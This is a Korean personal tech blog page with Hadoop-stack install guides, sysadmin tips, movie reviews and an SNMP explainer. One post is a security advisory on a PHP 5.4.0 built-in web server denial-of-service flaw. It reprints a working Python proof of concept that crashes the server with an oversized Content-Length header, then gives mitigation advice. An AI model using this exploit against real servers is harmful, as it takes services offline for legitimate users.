구글 애드센스 특정 광고 차단 posted on 2012/04/21 20:13, filed under Article
구글 애드센스 특정 광고 차단


* 특정 도메인 차단
1. 광고에 마우스 우클릭해서 링크바로가기 복사(절대 광고를 클릭하면 안됨)
2. 메모장에 붙여 넣어 adurl 항목의 도메인 복사
3. 애드센스 로그인 > 광고 허용 및 차단 > 차단옵션 > 광고주 URL 에 입력

* 한국 광고만 보이기(외국광고 차단)

애드센스 코드에 아래의 코드 추가
...
google_ad_width = 336;
google_ad_height = 280;
google_language = "ko"; // 한국 광고만
...


애스센스 미리보기 도구(AdSense Preview Tool)

설치 :




제거 :

크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 20:13 2012/04/21 20:13


Flume 설치 posted on 2012/04/21 20:12, filed under Develop
1 Flume 설치
]$ wget https://github.com/downloads/cloudera/flume/flume-distribution-0.9.4-bin.tar.gz
]$ tar xvzf flume-distribution-0.9.4-bin.tar.gz
]$ ln -s flume-distribution-0.9.4 flume
]$ cd /service/workspace/flume

2 Flume 설정

2.1 flume-site.xml 설정
]$ vi conf/flume-site.xml
...
  <property>
    <name>flume.master.servers</name>
    <value>localhost</value>
    <description>This is the address for the config servers status server (http)</description>
  </property>
...

2.2 flume-env.sh 설정
]$ vi bin/flume-env.sh
...
export FLUME_HOME=/service/workspace/flume
export FLUME_PID_DIR=/service/workspace/flume/pid
export FLUME_LOG_DIR=/service/workspace/flume/logs
...

2.3 logs 디렉토리 생성
]$ mkdir logs

3 Flume 구동
]$ ./bin/flume-daemon.sh start node -n agent_name

h2. 5.4 Flume 확인
http://localhost:35871/flumemaster.jsp

* Flume Master 에서 agent_name으로 올라오는 정보가 있는지 확인

와우! Flume 설치 끝!



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 20:12 2012/04/21 20:12


Hive 설치 posted on 2012/04/21 20:00, filed under Develop
1 Hive 설치
설치 위치 : /service/workspace (각자 환경에 맞게 구성)
]$ wget http://mirror.apache-kr.org/hive/hive-0.8.1/hive-0.8.1.tar.gz
]$ tar xvzf hive-0.8.1.tar.gz
]$ ln -s hive-0.8.1 hive
]$ cd /service/workspace/hive

2 Hive 설정

2.1 hive-site.xml 설정
]$ vi conf/hive-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
        <property>
          <name>javax.jdo.option.ConnectionURL</name>
          <value>jdbc:mysql://127.0.0.1:3306/hive?createDatabaseIfNotExist=true</value>
        </property>
        <property>
          <name>javax.jdo.option.ConnectionDriverName</name>
          <value>com.mysql.jdbc.Driver</value>
        </property>
        <property>
          <name>javax.jdo.option.ConnectionUserName</name>
          <value>dbuser</value>
        </property>
        <property>
          <name>javax.jdo.option.ConnectionPassword</name>
          <value>dbpass</value>
        </property>
</configuration>
</pre>

* 먼저 Mysql 접속 계정이 있어야 함(mysql 설치는 별도로)
* 원래는 hive-default.xml.template 파일을 복사해서 사용해야 하지만 mysql접속정보만 설정하기 위해서 따로 생성

2.2 hive-env.sh 설정
]$ cp conf/hive-env.sh.template conf/hive-env.sh
]$ vi conf/hive-env.sh
...
HADOOP_HOME=/service/workspace/hadoop
...

2.3 mysql-connector 라이브러리 복사
]$ cp mysql-connector-java-5.1.16.jar lib/

3 hive에 접속되는지 확인
]$ ./bin/hive
hive> show tables;
OK

* OK이면 정상

와우! Hive 설치 끝!


Hive QL 관련 참고 : https://cwiki.apache.org/confluence/display/Hive/LanguageManual

크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 20:00 2012/04/21 20:00


Zookeeper 설치 posted on 2012/04/21 19:56, filed under Develop
1 Zookeeper 설치
설치 위치 : /service/workspace (각자 환경에 맞게 구성)
]$ wget http://ftp.daum.net/apache/zookeeper/zookeeper-3.3.4/zookeeper-3.3.4.tar.gz
]$ tar xvzf zookeeper-3.3.4.tar.gz
]$ ln -s zookeeper-3.3.4 zookeeper
]$ cd /service/workspace/zookeeper


2 Zookeeper 설정

2.1 zoo.cfg 설정
]$ cp conf/zoo_sample.cfg conf/zoo.cfg
]$ vi conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/service/workspace/zookeeper_data
# the port at which the clients will connect
clientPort=2181

* 참고 : dataDir 는 서버를 구동하기 전에 미리 생성해야함(자동으로 생성되지 않음.)

3 Zookeeper 구동
]$ ./bin/zkServer.sh start


4 Zookeeper 확인
]$ ./bin/zkCli.sh

* Zookeeper 콘솔이 뜨는지 확인 ( [zk: localhost:2181(CONNECTED) 0] quit )


와우! Zookeeper 설치 끝!


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 19:56 2012/04/21 19:56


Hadoop 설치 posted on 2012/04/21 19:51, filed under Develop
1 Hadoop 설치
설치 위치 : /service/workspace (각자 환경에 맞게 구성)
]$ wget http://apache.tt.co.kr/hadoop/common/hadoop-1.0.0/hadoop-1.0.0.tar.gz
]$ tar xvzf hadoop-1.0.0.tar.gz
]$ ln -s hadoop-1.0.0 hadoop
]$ cd /service/workspace/hadoop


2 Hadoop 설정

2.1 core-site.xml 설정
]$ vi conf/core-site.xml
...
        <property>
                <name>fs.default.name</name>
                <value>hdfs://localhost:9000</value>
        </property>
...

2.2 hadoop-env.sh에 JAVA_HOME 설정
]$ vi conf/hadoop-env.sh
...
export JAVA_HOME=/path/jdk
...

2.3 hdfs-site.xml 설정
]$ vi conf/hdfs-site.xml
...
        <property>
                <name>dfs.replication</name>
                <value>1</value>
        </property>
        <property>
                <name>dfs.name.dir</name>
                <value>/service/workspace/hadoop_name</value>
        </property>
        <property>
                <name>dfs.data.dir</name>
                <value>/service/workspace/hadoop_data</value>
        </property>
...

* 참고 : dfs.name.dir와 dfs.data.dir 는 서버를 구동하기 전에 미리 생성해야함(자동으로 생성되지 않음.)

2.4 mapred-site.xml 설정
]$ vi conf/mapred-site.xml
...
        <property>
                <name>mapred.job.tracker</name>
                <value>hdfs://localhost:9001</value>
        </property>
...


2.5 masters, slaves 확인
]$ cat conf/masters conf/slaves
localhost
localhost

* localhost 으로 설정되어 있는지 확인


3 Hadoop 파일 시스템 포멧
]$ ./bin/hadoop namenode -format


4 Hadoop 구동 (순서대로)
]$ ./bin/hadoop-daemon.sh start namenode
]$ ./bin/hadoop-daemon.sh start datanode
]$ ./bin/hadoop-daemon.sh start jobtracker
]$ ./bin/hadoop-daemon.sh start tasktracker


5 Hadoop 확인
* NameNode 확인 : http://localhost:50070/dfshealth.jsp
* Jobtracker 확인 : http://localhost:50030/jobtracker.jsp


와우! hadoop 설치 끝!




크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 19:51 2012/04/21 19:51


ssh 로그인 없이 접속하기 posted on 2012/04/21 11:42, filed under Develop

ssh 로그인 없이 접속하기

$ ls -al ~/.ssh
total 12
-rw-r--r-- 1 user user  222 2012-04-18 10:16 known_hosts


$ ssh-keygen -t rsa
Enter file in which to save the key (/home/user/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/user/.ssh/id_rsa.
Your public key has been saved in /home/user/.ssh/id_rsa.pub.
...
$ ls -al .ssh
-rw------- 1 user user 1679 2012-04-18 10:19 id_rsa
-rw-r--r-- 1 user user  396 2012-04-18 10:19 id_rsa.pub
-rw-r--r-- 1 user user  222 2012-04-18 10:16 known_hosts

$ ssh-copy-id -i .ssh/id_rsa.pub xxx.xxx.xxx.xxx
The authenticity of host 'xxx.xxx.xxx.xxx' can't be established.
Are you sure you want to continue connecting (yes/no)? yes
user@xxx.xxx.xxx.xxx's password:
Now try logging into the machine, with "ssh 'xxx.xxx.xxx.xxx'", and check in:

  ~/.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

$ ssh-copy-id -i .ssh/id_rsa.pub xxx.xxx.xxx.xxx
The authenticity of host 'xxx.xxx.xxx.xxx)' can't be established.
ECDSA key fingerprint is ....
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'xxx.xxx.xxx.xxx' (ECDSA) to the list of known hosts.
user@xxx.xxx.xxx.xxx's password:
Now try logging into the machine, with "ssh 'xxx.xxx.xxx.xxx'", and check in:

  ~/.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.





크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 11:42 2012/04/21 11:42


우분투에 원격 데스트톱 연결(xrdp) posted on 2012/04/21 11:36, filed under Develop

우분투에 원격 데스트톱 연결(xrdp)

http://mcchae.egloos.com/10807413


$ sudo apt-get install xrdp

하면 됩니다.

그 다음에는 설치된 홈 폴더의 .xsession 파일에 다음 줄을 추가하면 됩니다.

$ sudo vi ~/.xsession
gnome-session --session=ubuntu-2d

이렇게 하면 위와 같이 정상으로 RDP 연결이 되었습니다.




크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/21 11:36 2012/04/21 11:36


eclipse svn password reset posted on 2012/04/17 10:19, filed under Develop
eclipse svn password reset


eclipse 의 svn 에서 비밀번호가 틀렸는데 다시 안물어볼 때...

C:\Users\사용자명\AppData\Roaming\Subversion\auth

디렉토리를 지우면 된다. (Windows 7 기준)


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/17 10:19 2012/04/17 10:19


redmine DB 백업, 파일 백업 posted on 2012/04/13 14:16, filed under Develop

redmine DB 백업, 파일 백업


#!/bin/bash

DATETIME=$(date +"%Y%m%d%H%M")

# DB backup
mysqldump -u root -p******* redmine_dbname | gzip > /redmine_backup_dir/$DATETIME.sql.gz

# file backup
rsync -avz --delete /redmine_install_dir/files /redmine_backup_dir/

# delete old files
find /redmine_backup_dir/ -name *.gz -mtime +90 -delete



스크립트를 crontab 등록


mysql 백업 / 복구 / 재시작 / 한글 깨진 문제 해결(euc-kr)
http://apollo89.com/blog/354 

rsync 사용법
http://apollo89.com/blog/236 

crontab 사용법
http://apollo89.com/blog/226 

크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/13 14:16 2012/04/13 14:16


hostname 변경 posted on 2012/04/13 11:16, filed under Develop
hostname 변경

]# vi /etc/sysconfig/network


NETWORKING=yes
HOSTNAME=apollo89

]# echo "apollo89" > /proc/sys/kernel/hostname

]# service network restart



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/13 11:16 2012/04/13 11:16



windows 7 32 bit 에서 8G 메모리 활용하기(ramsidk)


메모리를 8G로 증설했다.

그런데 여러 이유로 64bit OS로 설치 할수 없게 되었다.ㅠ

결국 메모리는 32bit OS에서는 최대 3G밖에 사용할 수 없기에 남는 메모리를 ramdisk 으로 쓰기로했다.

1. ramdisk 설치
상세한 내용은 http://blog.daum.net/woonsoo100/13388827 참고

나는 ramdisk 를 2개로 만들었다.
1G는 Cache 용
4G는 eclipse 용

2. 윈도우의 임시폴더를 Cache ramdisk 에 설정
 2.1. 내컴퓨터의 마우스 오른쪽 -> 속성 -> 고급 텝 -> 환경변수
 2.2. "사용자 변수" 항목과 "시스템 변수" 항목의 값을 램 드라이브로 바꾼다(TEMP, TMP 값 변경)

3. IE의 임시폴더를 Cache ramdisk 에 설정
 3.1. 시작 → 제어판 → 인터넷 옵션 → 일반 -> 검색기록의 설정 버튼 ->
 3.2. 폴더이동을 눌러 램 드라이브로 바꾼다
 3.3. 원한다면 임시 폴더 size를 설정

4. 크롬의 임시폴더를 Cache ramdisk 에 설정
 4.1. C:\Users\<계정>\AppData\Local\Google\Chrome\User Data\Default\Cache 폴더 삭제(크롬은 닫아야함)
 4.2. 제어판 -> 관리 도구 -> 컴퓨터 관리 실행 -> 저장소 -> 디스크 관리
 4.3. 램디스크 우클릭 -> 드라이브 문자 및 경로 변경 -> 추가
 4.4. 찾아보기를 눌러 위의 경로를 찾아 Default 아래에 Cache라는 폴더를 생성

상세한 내용은 http://dsct1472.tistory.com/93 참고


5. 이클립스를 이클립스용 ramdisk 에 설치


열라 빨라졌다.!!!



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/09 09:54 2012/04/09 09:54


건축학개론 posted on 2012/04/01 01:23, filed under Entertainment
사용자 삽입 이미지



아내랑 자동차 극장가서 건축학 개론을 봤다.

첫사랑에 대한 이야기였는데 살짝 불륜으로 가려고 해서 좀 짜증났지만,
(참고로 난 불륜 영화가 너무 싫다.)

마무리는 아주 현실적? 으로 끝났다
(이거 스포일러인가?^^;;)

30대 초, 중반이 보기에 향수가 묻어나는 장면이 많았다.

전람회의 노래와 015B노래, 삐삐, CDP, 커다란 모니터와 팬티엄 컴퓨터.. 그리고 최신의 1GB 하드..ㅋㅋㅋ

특히 집이 너무 너무 이뻤다.

거실의 바다가보이는 큰창문과 2층에서 지붕과 바다가 보이는 마당에 잔디가..
(하지만, 거실은 춥고 제주도 태풍이 오면 2층 잔디는 남아나지 않을듯..ㅋㅋ)

나도 나중에는 바다가 보이는 곳에 집을 지어서 살면 좋겠다..

차에서 봐서 그런지 느낌이 장면이 많았던 좋은 영화였다.




크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/01 01:23 2012/04/01 01:23


웨이 백 (The Way Back, 2010) posted on 2012/04/01 01:22, filed under Entertainment

사용자 삽입 이미지




엄청난 영화다..

무슨영화인지 전혀 배경지식이 없이 봤다가..

나중에 실화라는 사실을 알고 믿을수 없었다..

러시아 시베리아 에서 시작해서 몽골, 중국, 티벳, 인도를 거쳐 다시 집(폴란드)으로 돌아가기까지

삶 자체가 정말 감동이다..

극심한 배고픔과 갈증, 고통 가운데서도 살고자 하는 의지와 자유를 향한 갈망, 그리고 동료애..

처음에는 서로를 믿지 못하는 탈옥수였지만, 점점 서로를 의지하고 서로에 대해서 알아가는 모습이 인상적이였다..

특히 여자가 멤버로 합류했을 때, 갈등이 고조되고 팀이 위험해지지 않을까 생각을 했지만,

오히려 여자로 인해 서로를 배려하고 서로에 대해 알게 되는 모습이 새로웠다.

리더의 역할과 탁월함, 의지가 얼마나 중요한지도 알게되었다.

친절은 자살이라는 대사가 기억에 남는데, 친절로 인해 살아남지 않았나 생각이 든다.

그리고 마지막 까지 아내를 믿었던 주인공의 모습과 엔딩에서 다시 아내는 만나는 모습이 너무 감동적이였다..

신뢰함이란 기적을 만들어내는 것 같다.



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/01 01:22 2012/04/01 01:22


결정적 한방 (2011) posted on 2012/04/01 01:10, filed under Entertainment

사용자 삽입 이미지



총선을 앞두고 정치에 관심을 가져보기 위해(?) 본 영화.


우리 동네에도 어디 이한국 장관 같은 국회의원 없을까?

다들 자기 이익과 자기 배속 챙기기 바쁜 마당에 진정으로 국민을 위하고 국민의 소리를 듣는 국회의원이 보고싶다.

정치라는 사회적 이슈를 다루었지만 나는 아들과 아버지의 갈등을 풀어가는 과정에서 많은 감동을 느꼈다.

장관 아버지를 둔 아들과 클럽에서 노래하며 밤새 술마시는 아들을 둔 아버지...

그리고 그둘을 먹여 살리기위해서 식당을 하시는 어머니..

정말 어머니는 위대하신 것 같다..

어머니의 지혜로움에 아들이 아버지의 일기를 보고 아버지를 위한 노래를 만들고,

콘서트에서 그 노래를 듣는 아버지의 모습속에 큰 감동이 있었다..

이렇게 서로를 이해하고 하나됨과 화합은 사람들을 감동시키는 것 같다.

오랜만에 괜찮은 개념영화를 본듯..^^

크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/01 01:10 2012/04/01 01:10


철의 여인 (The Iron Lady, 2011) posted on 2012/04/01 00:59, filed under Entertainment

사용자 삽입 이미지



총선을 앞두고 정치에 관심을 가져보기 위해(?) 본 영화.

하지만 난 엄청 지루했던 영화..

영국의 최초 여성 총리이였던 마가렛 데쳐의 실화라고 한다..

내가 가진 가치관과 많이 달라서 그런지 별로 그렇게 위대해 보이진 않았다.

단, 자신의 확고한 의지를 관철시키고 옳다고 믿는 것을 끝까지 밀어붙이는 강인함에는 깊은 인상이 남았다.

하지만 마지막 노년에 겪는 아픔은 마음이 아팠다..

가족과의 불화, 병, 그냥 단지 죽음을 기다리는 외로운 한 할머니의 모습이 보였다..

한나라의 총리로서 많을 일을 하고, 권력과 야망을 가진 한 여자였지만, 마지막은 헛되고 헛되다..

나는 그 무엇보다도 가족이 먼저다..



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/04/01 00:59 2012/04/01 00:59


about me posted on 2012/03/31 10:23, filed under About Me
사용자 삽입 이미지











<마스코트(케릭터?)로 사용하는 이미지>

닉네임 : apollo89 (아폴로89) -> 89년생 아닙니다 ^^;;

주요 관심 분야 : Web, Security, Hacking, BigData(Hadoop), Framework, Spring, Embeded, Robot (신기하고 재미있는 잡다한것 모두)
선호하는 개발방법론 : Agile, TDD
주로 사용하는 언어 : Java, PHP, Javascript, Html5, C, C++, Perl
사용 OS : Windows, Linux(Fedora, Ubunto), Mac OSX
사용 DB : Oracle, Mysql, sqlite, Hbase, Hive
기타 관심분야 : 가족, 경영, 사진, 여행

저랑 연락하는 법
Twitter : apollo8900
Facebook : apollo8900
Email : apollo8900@naver.com, apollo89@gmail.com



크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/31 10:23 2012/03/31 10:23



PHP에서 원격 서비스 거부 취약성이 발견


공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시켜, 정상 사용자들에 대한 액세스가 거부될 수 있다.

PHP는 웹 개발에 최적화된 범용 스크립트 언어이며, HTML에 삽입될 수 있다.

PHP는 'Content-Length' 헤더에 영향을 주는 원격 서비스 거부 취약성을 갖는다. 특히, 이 취약성은 'sapi/cli/php_cli_server.c' 소스 파일의 'pemalloc()' 함수에 영향을 준다.

공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시킴으로써, 서비스 거부 상태를 발생시킬 수 있다.

PHP 5.4.0 버전이 취약하다; 다른 버전도 영향을 받을 수 있다.

다음 공격 코드가 발표되었다:


#!/usr/bin/python
 
# Title:      PHP 5.4.0 Built-in Web Server DoS PoC
# Date:       16 March 2012
# Author:     ls (contact@kaankivilcim.com)
# Reference:  https://bugs.php.net/bug.php?id=61461
# Comments:   Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV
 
# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c
# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate
# the process with the error message "Out of memory".
#
# 1537 if (!client->request.content) {
# 1538   client->request.content = pemalloc(parser->content_length, 1);
# 1539   client->request.content_len = 0;
# 1540 }
#
# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012
# Listening on 127.0.0.1:80
# Document root is /tmp
# Press Ctrl-C to quit.
# Out of memory
 
import socket, sys
 
target = "xxx.xxx.xxx.xxx"
port   = 80;
 
request  = "POST / HTTP/1.1\n"
request += "Content-Type: application/x-www-form-urlencoded\n"
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
request += "A=B\n\n"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  s.connect((target, port))
except:
  print "[-] Connection to %s:%s failed!" % (target, port)
  sys.exit(0)
 
print "[+] Sending HTTP request. Check for crash on target."
 
s.send(request)
s.close()


외부로 서비스를 제공할 필요가 없는 경우, 네트워크 경계에서 외부로부터의 액세스를 차단한다.
가능한, 취약한 소프트웨어를 호스트하고 있는 서버에 대한 외부로부터의 액세스를 차단한다. 내부 또는 신뢰된 네트워크와 컴퓨터에 대해서만 액세스를 허용한다.

네트워크 침입 탐지 시스템을 적용하여 네트워크상의 악의적 활동을 모니터링한다.
NIDS를 적용하여 NOP 명령이나 알 수 없는 내부 또는 외부로 향하는 트래픽이 포함된 요청과 같은 비정상적이거나 수상한 네트워크 트래픽을 모니터링한다. 이러한 네트워크 트래픽은 공격 시도나 성공적인 공격으로 인해 발생하는 활동을 나타낼 수 있다.


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/28 09:00 2012/03/28 09:00


SNMP posted on 2012/03/27 14:50, filed under Develop
출처 : http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/SNMP

2.1절. SNMP란 무엇인가

SNMP는 Simple Network Management Protocol의 약자이다. 해석을 해보자면 간단한 네트워크관리를 위한 규약 인데, 말그대로 SNMP는 네트워크관리를 위한 용도로 사용되는 프로토콜이다. 가장 앞에 Simple라는 단어가 붙어있는데, 진짜로 간단한 프로토콜인지 아닌지는 사람에 따라 약간씩 차이가 있을수 있다. 필자가 보기엔 그리 복잡한 프로토콜은 아닌것 같은데, 어떤 사람들은 매우 복잡한 프로토콜 이라고 말하는 사람들도 있다.

그럼 먼저 SNMP가 나타난 배경에 대해서 알아보도록 하겠다. SNMP가 쓰이기 전에 일반적으로 사용되는 네트워크 관리는 ICMP에 의존했었다. ICMP는 Network계층의 프로토콜로써, 운영체제에 관계없이 사용할수 있는 간단한 프로토콜이였다. 이 프로토콜을 이용해서 우리는 네트워크로 연결된 각각의 호스트가 작동하고 있는지, 작동한다면 어느정도의 응답시간을 가지고 작동하는지 등의 간단한 정보를 얻을수 있었으며, 초기에는 이정도로도 필요한 네트워크 관리가 가능했었다. ICMP를 이용한 가장 유용한 도구는 아마도 ping 프로그램일 것이다.

그러나 인터넷의 사용이 보편화되고 네트워크에 연결된 호스트의 수가 증가하자 거기에 따라서 네트워크 구성역시 복잡해지고, ICMP만을 가지고는 이러한 네트워크의 관리를 효율적으로 할수 없게 되었다.

그래서 몇가지 프로토콜에 대한 연구가 진행되었고, SGMP, HIMS, CMIP/CMIS등이 제안되게 되었다. 이중에서 SGMP를 발전시킨 SNMP가 사실상 네트워크 관리를 위한 표준적인 프로토콜로 자리잡게 되었다. 다른 프로토콜들이 사용되지 않은데에는 몇가지 이유가 있었다. CMIP/CMIS는 너무 방대하고 너무 복잡했으며, HEMS의 경우에는 실제 적용사례가 적었기 때문이다.

어쨋든 SNMP는 거의 대부분의 운영체제에서 사용되어 지고 있다. 여러분이 사용하는 Linux, 그밖의 대부분의 유닉스와, 윈도우계열 운영체제는 기본적으로 SNMP프로토콜을 사용하는 도구들을 제공하고 있다. 그외에도 router등 TCP/IP를 네트워크 프로토콜로 사용되는 운영체제들 역시 SNMP는 필수적으로 제공하고 있다.

2.2절. SNMP로 할수 있는 것들

SNMP를 이용해서 할수 있는 것들은 다음과 같다.

네트워크 구성관리
네트워크상의 호스트들이 어떤 구조를 이루고 있는지 지도를 그리는게 가능하다.

성능관리
각 네트워크 세그먼트간 네트워크 사용량, 에러량, 처리속도, 응답시간 등 성능 분석에 필요한 통계정보를 얻어낼수 있다.

장비관리
SNMP의 주목적이 네트워크관리관리 이기는 하지만 SNMP특유의 유연한 확장성을 이용하여서 시스템정보(CPU, MEMORY, DISK 사용량)의 정보를 얻어올 수 있도록 많은 부분이 확장되었다. 이 정보는 네트워크문제를 해결하는데 큰도움을 준다. 예를들어 특정 세그먼트의 네트워크 사용량이 갑자기 급증했는데, 특정 호스트의 CPU사용율까지 갑자기 증가했다면, 우리는 해당 호스트에서 문제가 발생했을것이란걸 유추해낼수 있을것이다.

보안관리
정보의 제어 및 보호 기능, 최근버젼인 SNMP3는 특히 정보보호를 위한 기능이 향상되었다.

2.3절. SNMP를 통한 망의 구성

SMTP는 인터넷상에서 메시지를 교환하기 위한 프로토콜로 사용되며, 주로 전자메일 교환을 위해서 사용되는 프로토콜이다. 그러나 SMTP는 어디까지나 프로토콜일 뿐이며, 실제 메시지를 인터넷상에서 주고 받기 위해서는 SMTP프로토콜을 사용하는 SMTP서버(Sendmail같은)와 SMTP클라이언트(mutt, pine같은)가 준비되어 있어야만 한다.

SNMP역시 그자체로는 프로토콜일 뿐이며 SNMP프로토콜을 활용해서 실제 네트워크 관리 정보를 얻어오기 위해서는 응용 애플리케이션이 준비되어있어야만 한다. 보통의 네트워크프로토콜을 사용하는 애플리케이션이 서버/클라이언트 모델로 구성되듯이 SNMP역시 서버와 클라이언트로 구성된다.

사용자 삽입 이미지

그림 1. SNMP망 관리 시스템

일반적으로 SNMP망 에서는 서버/클라이언트라고 부르지 않고 snmp manager/snmp agent라고 부른다. snmp agent는 관리대상이 되는 시스템에 설치되어서 필요한 정보(네트워크 혹은 시스템)를 수집하기 위한 snmp 모듈(혹은 애플리케이션) 이며, snmp manager은 snmp agent가 설치된 시스템에 필요한 정보를 요청하는 snmp 모듈이다. snmp agent는 서버, snmp manager은 클라이언트로 생각하면 이해하기가 좀더 수월할 것이다(그러나 반드시 agent가 서버, manager이 클라이언트가 되는건 아니다. 그냥 개념적으로 이해만 하고 있도록 하자).
2.4절. MIB에 대해서

SNMP는 네트워크를 관리하기 위한 프로토콜이다. 그렇다면 무엇을 관리할 것인가(관리객체)를 결정해야 할것이다. 관리객체를 결정했다면, 이러한 관리객체를 효과적으로 관리하기 위해서 이를 분류해야 할것이다. 이게 바로 MIB이다.

MIB는 Man In Black의 줄임말이 아니다. Management Information Base의 줄임말인데, 관리되어야할 자원 객체의 분류된 정보를 말한다. 관리되어야할 객체는 시스템정보, 네트워크사용량, 네트워크 인터페이스정보 등이 된다.

이 MIB객체들은 관리하기 편하도록 Tree구조를 가지게 된다. 다음은 MIB의 일반적인 구조이다.

그림 2. MIB계층 구조
사용자 삽입 이미지


MIB는 위에서 처럼 계층적인(디렉토리) 구조를 가지게 된다(위의 그림은 MIB를 설명하기 위해 일부만을 표시하고 있다). 예를들어서 agent가 설치되어 있는 시스템으로 부터 시스템부가정보(sysDescr)를 얻어오길 원한다면 ISO.org.dod.internet.mgmt.mib-2.system.sysDescr과 같은 식으로 manger에서 데이타를 요청하면 된다.
위의 MIB계층 구조를 보면 각 MIB옆에 숫자가 있는것을 볼수 있다. 이 숫자가 OID번호이다. 즉 sysDescr의 OID값은 1.3.6.1.1.2.1.1.1 이 될것이다. OID번호를 이용하는 이유는 MIB고유 문자열을 통해서 원하는 데이타를 가져오기위해서는 아무래도 요청이 길어질수가 있기 때문이다.

MIB는 IANA(Internet Assigned Number Authority)라는 단체에서 관리하며 표준적으로 사용되고 있다. 그럼으로 표준적인 MIB구현을 위해서는 IANA에서 OID를 부여받아야만 한다. 그래야 전체네트워크상에서 다른 여러가지 MIB와 중복되지 않고 사용이 가능할것이다.

작은 정보: cisco과 같은 대중적인(거의 표준이나 마찬가지인) 제품들은 모두 자체적인 MIB를 구현해서 IANA에 등록하여 사용하고 있다. 여러분이 cisco 라우터등의 SNMP정보를 접근할수 있다면 cisco MIB가 등록되어 있음을 확인할수 있을것이다. 확인하는 방법은 다음 강좌에서 따로 언급하도록 하겠다.

MIB는 계층적 구조를 가짐으로 필요에 따라서 확장해서 사용이 가능하며, (물론 프로그래밍 능력이 있어야 하지만)때에 따라서는 자체 회사내에서만 사용가능하거나 제한된 네트워크 영역의 네트워크상황을 관제하는 제품을 위한 MIB를 추가해야 하는경우가 생길수 있을것이다. 그래서 사설로 MIB를 만들어서 사용할수 있는 여지를 남겨두었다. (마치 독립된 지역네트워크를 위해 사설IP를 사용하는 것처럼) 이러한 사설 MIB는private(4)의 enterprises(1)에 정의해서 사용할수 있다. 여러분이 그리 대중적이지 않은 그래서 IANA에 등록되지 않은 어떤 장비의 고유 SNMP정보를 얻어오고 싶다면 업체에 문의하거나, 메뉴얼을 확인하는 정도로 쉽게 SNMP정보를 얻어올수 있다.

현재 MIB는 버젼 2까지나와 있으며, 버젼의 구분을 위해서 MIB-1, MIB-2로 부르고 있다. MIB-2는 MIB-1의 확장판으로 MIB-1의 모든 객체를 포함하여 약 171개의 객체들을 더 포함하고 있다. 최근의 제품들은 대부분 MIB-2를 지원하고 있다. 물론 위에서 말했듯이 독자적인 MIB를 만들어서 사용할수 있으며, 이를 확장 MIB라고 부른다.

2.5절. SNMP 프로토콜의 동작과 구성

현재 SNMP는 버전 3가지 나와있는 상태이지만 아직까지는 버젼2가 가장 널리 사용 되고 있다. 필자역시 SNMP 버젼 2에 대한 경험이 많은 관계로 버젼2를 기준으로 설명하도록 하겠다.

SNMP는 기본적으로 네트워크 정보를 수집하는데 그 목적이 있는데, 수집하는 몇가지 각각 다른 방법이 있다. 일반적으로 생각해서 우리가 생활중에 얻게 되는 정보는 우리가 요구해서 발생하는 정보와(신문을 구입한다든지, 인터넷으로 서핑을 하는등) 뉴스속보와 같은 형식으로 중요한 일이 있을때 발생하는 정보가 있을것이다. 또한 단지 정보를 얻는데 그치지 않고 정보를 입력하기도 한다.

SNMP정보수집역시 기본적으로 위의 일상생활에서의 정보수집과 같은 방식으로 이루어진다. 이하 snmp manager은 manager로 snmp agent는 agent로 부르도록 한다.

GET
manager에서 agent로 특정 정보를 요청하기 위해서 사용한다.

GET NEXT
기본적으로는 GET과 같은일을 한다. 그러나 SNMP에서 각정보들은 계층적 구조로 관리된다. 위의 MIB계층 구조를 나타낸 이미지에서 우리는 system(1)계층밑에 있는 모든 정보를 가져오고 싶을 때가 있을것이다. 그럴경우 GET NEXT를 사용할수 있다.

SET
manager에서 agent로 특정 값을 설정하기 위해서 사용한다.

TRAP
agent에서 통보해야될 어떤 정보가 발생했을때(임계치를 넘는네트워크자원 사용등) manager에게 해당 상황을 알리기 위해서 사용한다. 위의 다른 요청들이 동기적 요청이라면 이것은 비동기적 사건을 알리기 위해서 사용되어진다.

SNMP프로토콜은 기본적으로 어떤 정보를 요청하는 메시지와 이에 대한 응답메시지로 이루어지며 다음과 같은 구조를 가지고 있다.

표 1. SNMP 메시지
| Version | Community name | SNMP | PDU |

